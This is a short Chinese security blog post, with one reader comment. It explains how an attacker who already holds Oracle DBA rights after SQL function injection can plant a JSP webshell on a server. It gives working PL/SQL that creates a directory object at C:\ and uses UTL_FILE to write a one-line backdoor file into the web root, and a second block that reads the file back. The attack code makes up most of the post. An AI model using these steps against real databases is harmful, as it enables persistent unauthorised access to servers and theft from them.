ORACLE 本地读写文件—ORA WRITE WEBSHELL

信息来源: I.S.T.O信息安全团队(http://blog.csdn.net/I_S_T_O)

author : kj021320
team: I.S.T.O

一般我们通过函数注射以后 获得ORA的DBA权限 那么我们就得对本地文件进行操作!要是WEB跟ORA是同一个机器~那就更方便于我们拿更多的权限了~或者对本地写webshell

下面是采用ORA 自带的文件访问包 操作本地文件! 前提是你必须要知道WEBSITE的物理地址

以下是一个简单例子

–首先我们得先建立一个 ORACLE的目录对象 指向 C:\

create or replace directory IST0_DIR as 'C:\';

–然后我们对这个目录对象进行授权 其实这步可以忽略

grant read, write on directory IST0_DIR to 用户;

–以上前奏完成了! 我们可以写PLSQL 进行操作文件了

declare
isto_file utl_file.file_type; –定义变量的类型为utl_file.file_type
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'W'); –指定为IST0_DIR 目录下面的kj021320.jsp文件写操作
utl_file.put_line(isto_file, '一句话后门'); –写入字符串
utl_file.fflush(isto_file); –刷缓冲
utl_file.fclose(isto_file); –关闭文件指针
end;

–下面我们可以使用读操作把写入的文件内容读出来

declare
isto_file utl_file.file_type; –如上
fp_buffer varchar2(4000); –没必要说了吧?
begin
isto_file := utl_file.fopen('IST0_DIR', 'kj021320.jsp', 'R'); — 指定为读操作
utl_file.get_line (isto_file , fp_buffer ); –读取一行放到 fp_buffer 变量里面
dbms_output.put_line(fp_buffer);–在终端输出结果看看
utl_file.fclose(isto_file); –关闭文件指针
end;

相关日志

楼被抢了 2 层了... 抢座Rss 2.0或者 Trackback

  • ellle

    如果得到oracle的command shell,直接echo就可以写了

发表评论